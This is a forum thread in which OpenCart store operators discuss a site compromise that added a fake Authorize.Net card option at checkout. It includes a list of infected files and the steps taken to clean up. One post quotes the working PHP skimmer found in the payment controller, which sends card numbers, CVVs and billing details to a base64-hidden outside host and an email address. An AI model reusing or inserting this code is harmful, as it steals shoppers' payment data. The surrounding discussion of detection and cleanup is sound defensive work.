Recently, I upgraded my store from Opencart 1.5.6.4 to Opencart 3.0.2. The conversion ran smoothly and is online. However, I've noticed since the upgrade that I have several records in my "Orders" table that do not show up in my dashboard. And among those "missing" orders are several that show "Authorize.Net" as the payment gateway.
The only problem is, I do not now, nor have I ever offered Authorize.Net as a payment choice. It's only the most recent few orders that show this information, but it may be one of the reasons why business has fallen off substantially after the update. Can anyone think of a reason why a customer would be able to select Authorize.Net as a payment gateway when that option is disabled in my payment module?
The only payment method offered in my store is Paypal Standard.
ADDITIONAL INFORMATION:
I contacted one of the clients who had tried to use the Authorize.Net payment method to ask them how it was possible they selected that option? They told me the checkout screen contained both a Credit Card (Authorize.net) *and* a Paypal option. I verified that this is the case - both payment options were visible on the checkout screen, even though I have not activated the Authorize.net feature.
Is this a bug? I am using the Journal2 theme with OpenCart 3.0.2
Well, just search this Place for authorizenet, and you will find out easy,
that your Site has been hacked, and your Customer Payments will be
rerouted to someone else, I assume ...
Ernie
that your Site has been hacked, and your Customer Payments will be
rerouted to someone else, I assume ...
Ernie
My Github OC Site: https://github.com/IP-CAM
5'200 + FREE OC Extensions, on the World's largest private Github OC Repository Archive Site.
Yes, Ernie, you are correct. The site has been hacked. Just trying to determine the extent of the changed source files now. Still not sure how the hack was accomplished.
Well, so far, nobody yet was really able (or willing) to shed some light on this,
and some of those, beeing confronted with, found it again, while not cleaning
out their Site in full, I assume, before uploading a Backup Copy of the Software.
It's also widely unknown, if some Badcode might exist in the Database, or then,
it's placed in some Extension, since those, beeing confronted with, seldom come
back here, to explain, how the got rid of it again.
But OC Sites are beeing hacked, or at least tried to, and one of the most dangerous
things to have on a Server would be OC and WP combined, as I can read out
of my Access+Error Logs, since most Hacking attempts are meant to hit WP Code.
I have locked down more than 1'000 different ways of 'linking' to my OC Testsites so far, and
it's usual for me, to be attacked at least once or twice a week. But I also use a great Hoster,
who serves the Real Big Mothers in my Country too, so, I never got hit so far ...
The only (Jerusalem) Virus I ever found, was on brand new Systems I imported from
Taiwan, equipped with the first WIN95, but a Customer found out real early, and we
where able to fix the problem, before it occurred.
It's quite a while since ... 
Good Luck, come back and tell us, if and what you found out about ...
Ernie
and some of those, beeing confronted with, found it again, while not cleaning
out their Site in full, I assume, before uploading a Backup Copy of the Software.
It's also widely unknown, if some Badcode might exist in the Database, or then,
it's placed in some Extension, since those, beeing confronted with, seldom come
back here, to explain, how the got rid of it again.
But OC Sites are beeing hacked, or at least tried to, and one of the most dangerous
things to have on a Server would be OC and WP combined, as I can read out
of my Access+Error Logs, since most Hacking attempts are meant to hit WP Code.
I have locked down more than 1'000 different ways of 'linking' to my OC Testsites so far, and
it's usual for me, to be attacked at least once or twice a week. But I also use a great Hoster,
who serves the Real Big Mothers in my Country too, so, I never got hit so far ...
The only (Jerusalem) Virus I ever found, was on brand new Systems I imported from
Taiwan, equipped with the first WIN95, but a Customer found out real early, and we
where able to fix the problem, before it occurred.
It's quite a while since ... Good Luck, come back and tell us, if and what you found out about ...
Ernie
My Github OC Site: https://github.com/IP-CAM
5'200 + FREE OC Extensions, on the World's largest private Github OC Repository Archive Site.
It was very tedious, but I have managed to clean out the infection. I do not believe there is anything in the database that can trigger it again - providing the code to access the database has been cleaned. What I did was compare my core OpenCart 3.0.2 files on the hacked site to the virgin zip file. I also compared the Journal2 theme files on my hacked server to the virgin zip file.
There were many files in my /system/storage/modification and /system/storage/cache folders that had no comparison files in the clean zips, so, after backing up these folders, I deleted their contents. I didn't want to have to deal with cached copies of programs coming back to haunt me.
As mentioned, I am using OpenCart 3.0.2 with the Journal 2 version 2.16.8.
While I found many helpful threads that identified some of the "infected" files, I created a more comprehensive list. Most files were found by comparing the time stamps of the files (altered files were *usually* newer). However, there were a few "minor" differences in some files (when compared to the virgin zip files) so I replaced them anyway - even if the time stamps appeared to be correct.
Files that were definitely corrupt: (these files contained back doors or modifications intended to send back information about your server and files)
/catalog/controller/account/login.php
/catalog/controller/account/edit.php
/catalog/controller/extension/payment/authorizenet_aim.php
/catalog/controller/extension/payment/pp_pro.php
/admin/controller/common/login.php
/admin/controller/extension/extension/payment.php
/catalog/model/checkout/order.php
/system/library/cart/user.php
Files that differed somewhat from the server copy vs. the clean copy of files: (these may be OK, but you may have to do a file comparison to verify)
/admin/controller/extension/payment/authorizenet_aim.php_ (note the "_" - although the file date was as original and the clean version matched)
/admin/view/template/extension/payment/free_checkout.twig (see note 1)
/admin/controller/extension/payment/klarna_account.php (see note 1)
/admin/controller/extension/payment/free_checkout.php (see note 1)
/admin/controller/common/dashboard.php (see note 2)
Emptied the following folders (after making backups):
/system/storage/cache
/system/storage/modification
Note 1: The difference from the server to the clean zip appears to be a modification designed to create unique class/variable names
Note 2: The server version had commented out the Warning about moving the storage folder out of a publicly accessible location
After cleaning the system, I refreshed the modifications (rebuilding the /system/storage/... folders) and tried the program.
To my shock, I still saw the Credit Card option displayed on my checkout page!!! It took several minutes of looking around for something I missed until I realized that after removing the infected files, the PAYMENT OPTIONS had still indicated that Authorize.Net and PayPal PRO were available payments.
After disabling those payment options and refreshing modifications yet again, my system appears to have been cleaned.
FOLLOWUP:
The reason I even found out the site was hacked is that the store's owner had complained that sales had been slow. I checked the ORDERS table to see if there had been a lot of abandoned orders. To my surprise, I saw a few FINALIZED sales that had apparently used the Credit Card payment option (we don't offer credit card payment). It was my search for why the authorize.net payment option was showing up on some of the orders that led me to the discovery of the hacked site.
IMPORTANT NOTE: ANY ORDER IN YOUR DATABASE THAT HAS A PAYMENT METHOD OF AUTHORIZE.NET WHEN YOU DON'T OFFER CREDIT CARD PAYMENTS CAN BE ASSUMED TO BE A BREACH. THESE CUSTOMERS SHOULD BE CONTACTED AND WARNED ABOUT THE POTENTIAL UNAUTHORIZED USE OF THEIR CARD.
There were many files in my /system/storage/modification and /system/storage/cache folders that had no comparison files in the clean zips, so, after backing up these folders, I deleted their contents. I didn't want to have to deal with cached copies of programs coming back to haunt me.
As mentioned, I am using OpenCart 3.0.2 with the Journal 2 version 2.16.8.
While I found many helpful threads that identified some of the "infected" files, I created a more comprehensive list. Most files were found by comparing the time stamps of the files (altered files were *usually* newer). However, there were a few "minor" differences in some files (when compared to the virgin zip files) so I replaced them anyway - even if the time stamps appeared to be correct.
Files that were definitely corrupt: (these files contained back doors or modifications intended to send back information about your server and files)
/catalog/controller/account/login.php
/catalog/controller/account/edit.php
/catalog/controller/extension/payment/authorizenet_aim.php
/catalog/controller/extension/payment/pp_pro.php
/admin/controller/common/login.php
/admin/controller/extension/extension/payment.php
/catalog/model/checkout/order.php
/system/library/cart/user.php
Files that differed somewhat from the server copy vs. the clean copy of files: (these may be OK, but you may have to do a file comparison to verify)
/admin/controller/extension/payment/authorizenet_aim.php_ (note the "_" - although the file date was as original and the clean version matched)
/admin/view/template/extension/payment/free_checkout.twig (see note 1)
/admin/controller/extension/payment/klarna_account.php (see note 1)
/admin/controller/extension/payment/free_checkout.php (see note 1)
/admin/controller/common/dashboard.php (see note 2)
Emptied the following folders (after making backups):
/system/storage/cache
/system/storage/modification
Note 1: The difference from the server to the clean zip appears to be a modification designed to create unique class/variable names
Note 2: The server version had commented out the Warning about moving the storage folder out of a publicly accessible location
After cleaning the system, I refreshed the modifications (rebuilding the /system/storage/... folders) and tried the program.
To my shock, I still saw the Credit Card option displayed on my checkout page!!! It took several minutes of looking around for something I missed until I realized that after removing the infected files, the PAYMENT OPTIONS had still indicated that Authorize.Net and PayPal PRO were available payments.
After disabling those payment options and refreshing modifications yet again, my system appears to have been cleaned.
FOLLOWUP:
The reason I even found out the site was hacked is that the store's owner had complained that sales had been slow. I checked the ORDERS table to see if there had been a lot of abandoned orders. To my surprise, I saw a few FINALIZED sales that had apparently used the Credit Card payment option (we don't offer credit card payment). It was my search for why the authorize.net payment option was showing up on some of the orders that led me to the discovery of the hacked site.
IMPORTANT NOTE: ANY ORDER IN YOUR DATABASE THAT HAS A PAYMENT METHOD OF AUTHORIZE.NET WHEN YOU DON'T OFFER CREDIT CARD PAYMENTS CAN BE ASSUMED TO BE A BREACH. THESE CUSTOMERS SHOULD BE CONTACTED AND WARNED ABOUT THE POTENTIAL UNAUTHORIZED USE OF THEIR CARD.
Have you looked through your FTP accesses logs and your web access logs to see if there are any clues as to how they got access?
From the timestamp on the altered files, the access to the server occurred in late August. I don't think I have any logs that go back that far. I remember looking through the raw access log for any POST activities for the affected resources, but I only had logs for October.
And now that November has begun, even my October logs are gone. I guess I should activate Log Archiving in cPanel.
By the way, I filed a complaint with Google over the hacker's use of a gmail address for passing the information gathered from hacked sites. Imagine if all that data just disappeared into space if Google removes access to that single account which is referenced in every instance of the hack.
And now that November has begun, even my October logs are gone. I guess I should activate Log Archiving in cPanel.
By the way, I filed a complaint with Google over the hacker's use of a gmail address for passing the information gathered from hacked sites. Imagine if all that data just disappeared into space if Google removes access to that single account which is referenced in every instance of the hack.
JEfromCanada wrote: ↑Thu Nov 01, 2018 2:44 pmIt was very tedious, but I have managed to clean out the infection. I do not believe there is anything in the database that can trigger it again - providing the code to access the database has been cleaned. What I did was compare my core OpenCart 3.0.2 files on the hacked site to the virgin zip file. I also compared the Journal2 theme files on my hacked server to the virgin zip file.
There were many files in my /system/storage/modification and /system/storage/cache folders that had no comparison files in the clean zips, so, after backing up these folders, I deleted their contents. I didn't want to have to deal with cached copies of programs coming back to haunt me.
As mentioned, I am using OpenCart 3.0.2 with the Journal 2 version 2.16.8.
While I found many helpful threads that identified some of the "infected" files, I created a more comprehensive list. Most files were found by comparing the time stamps of the files (altered files were *usually* newer). However, there were a few "minor" differences in some files (when compared to the virgin zip files) so I replaced them anyway - even if the time stamps appeared to be correct.
Files that were definitely corrupt: (these files contained back doors or modifications intended to send back information about your server and files)
/catalog/controller/account/login.php
/catalog/controller/account/edit.php
/catalog/controller/extension/payment/authorizenet_aim.php
/catalog/controller/extension/payment/pp_pro.php
/admin/controller/common/login.php
/admin/controller/extension/extension/payment.php
/catalog/model/checkout/order.php
/system/library/cart/user.php
Files that differed somewhat from the server copy vs. the clean copy of files: (these may be OK, but you may have to do a file comparison to verify)
/admin/controller/extension/payment/authorizenet_aim.php_ (note the "_" - although the file date was as original and the clean version matched)
/admin/view/template/extension/payment/free_checkout.twig (see note 1)
/admin/controller/extension/payment/klarna_account.php (see note 1)
/admin/controller/extension/payment/free_checkout.php (see note 1)
/admin/controller/common/dashboard.php (see note 2)
Emptied the following folders (after making backups):
/system/storage/cache
/system/storage/modification
Note 1: The difference from the server to the clean zip appears to be a modification designed to create unique class/variable names
Note 2: The server version had commented out the Warning about moving the storage folder out of a publicly accessible location
After cleaning the system, I refreshed the modifications (rebuilding the /system/storage/... folders) and tried the program.
To my shock, I still saw the Credit Card option displayed on my checkout page!!! It took several minutes of looking around for something I missed until I realized that after removing the infected files, the PAYMENT OPTIONS had still indicated that Authorize.Net and PayPal PRO were available payments.
After disabling those payment options and refreshing modifications yet again, my system appears to have been cleaned.
FOLLOWUP:
The reason I even found out the site was hacked is that the store's owner had complained that sales had been slow. I checked the ORDERS table to see if there had been a lot of abandoned orders. To my surprise, I saw a few FINALIZED sales that had apparently used the Credit Card payment option (we don't offer credit card payment). It was my search for why the authorize.net payment option was showing up on some of the orders that led me to the discovery of the hacked site.
IMPORTANT NOTE: ANY ORDER IN YOUR DATABASE THAT HAS A PAYMENT METHOD OF AUTHORIZE.NET WHEN YOU DON'T OFFER CREDIT CARD PAYMENTS CAN BE ASSUMED TO BE A BREACH. THESE CUSTOMERS SHOULD BE CONTACTED AND WARNED ABOUT THE POTENTIAL UNAUTHORIZED USE OF THEIR CARD.
Thank you so much for this I am experiencing the same issue.. i have compared all the files you have published to be inspected.. and i have found this this beauty:
$curl2=curl_init();$data2='data='.$order_info['order_id'].'|'.$order_info['payment_firstname'].'|'.$order_info['payment_lastname'].'|'.$order_info['payment_address_1'].'|'.$order_info['payment_city'].'|'.$order_info['payment_postcode'].'|'.$order_info['payment_zone'].'|'.$order_info['payment_country'].'|'.$order_info['telephone'].'|'.$this->request->post['cc_expire_date_month'].'|'.$this->request->post['cc_expire_date_year'].'|'.$this->request->post['cc_cvv2'].'|'.$this->request->post['cc_number'].'&site='.$_SERVER['HTTP_HOST'].'ttf';curl_setopt($curl2,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl2,CURLOPT_URL,base64_decode('aHR0cDovL2FueXRoaW5ncHJvLm5ldC9nZXQyLnBocA=='));curl_setopt($curl2, CURLOPT_POST, 1);curl_setopt($curl2, CURLOPT_POSTFIELDS, $data2);curl_exec($curl2);curl_close($curl2);mail('alt.yi-2od2vguj@yopmail.com','order',$data2,'From: order@fly.com\r\nReply-to: alt.yi-2od2vguj@yopmail.com');
This is the code in authorizenet_aim.php
How can I block this guy out? I now managed to remove the payment option Authorize.net .. deleted the cache of storage folder.. under orders in dataase there is no orders to be found made with this payment option
How can I find his IP and block him for good
I didn't have 2FA on my cpanel and whm account, so I managed to do that now.
I would compare all your files to clean versions of OpenCart, your theme and extensions. Also remember to change all passwords or all accounts, such as hosting, FTP, admin, etc.ideep13 wrote: ↑Sat Nov 11, 2023 7:16 pmThank you so much for this I am experiencing the same issue.. i have compared all the files you have published to be inspected.. and i have found this this beauty:
$curl2=curl_init();$data2='data='.$order_info['order_id'].'|'.$order_info['payment_firstname'].'|'.$order_info['payment_lastname'].'|'.$order_info['payment_address_1'].'|'.$order_info['payment_city'].'|'.$order_info['payment_postcode'].'|'.$order_info['payment_zone'].'|'.$order_info['payment_country'].'|'.$order_info['telephone'].'|'.$this->request->post['cc_expire_date_month'].'|'.$this->request->post['cc_expire_date_year'].'|'.$this->request->post['cc_cvv2'].'|'.$this->request->post['cc_number'].'&site='.$_SERVER['HTTP_HOST'].'ttf';curl_setopt($curl2,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl2,CURLOPT_URL,base64_decode('aHR0cDovL2FueXRoaW5ncHJvLm5ldC9nZXQyLnBocA=='));curl_setopt($curl2, CURLOPT_POST, 1);curl_setopt($curl2, CURLOPT_POSTFIELDS, $data2);curl_exec($curl2);curl_close($curl2);mail('alt.yi-2od2vguj@yopmail.com','order',$data2,'From: order@fly.com\r\nReply-to: alt.yi-2od2vguj@yopmail.com');
This is the code in authorizenet_aim.php
How can I block this guy out? I now managed to remove the payment option Authorize.net .. deleted the cache of storage folder.. under orders in dataase there is no orders to be found made with this payment option
How can I find his IP and block him for good
I didn't have 2FA on my cpanel and whm account, so I managed to do that now.
Try and work out when it started happening (the date on the modified files may tell you). Then look through your log files, such as server, FTP, web access, PHP error, OpenCart error, etc.
Who is online
Users browsing this forum: No registered users and 66 guests
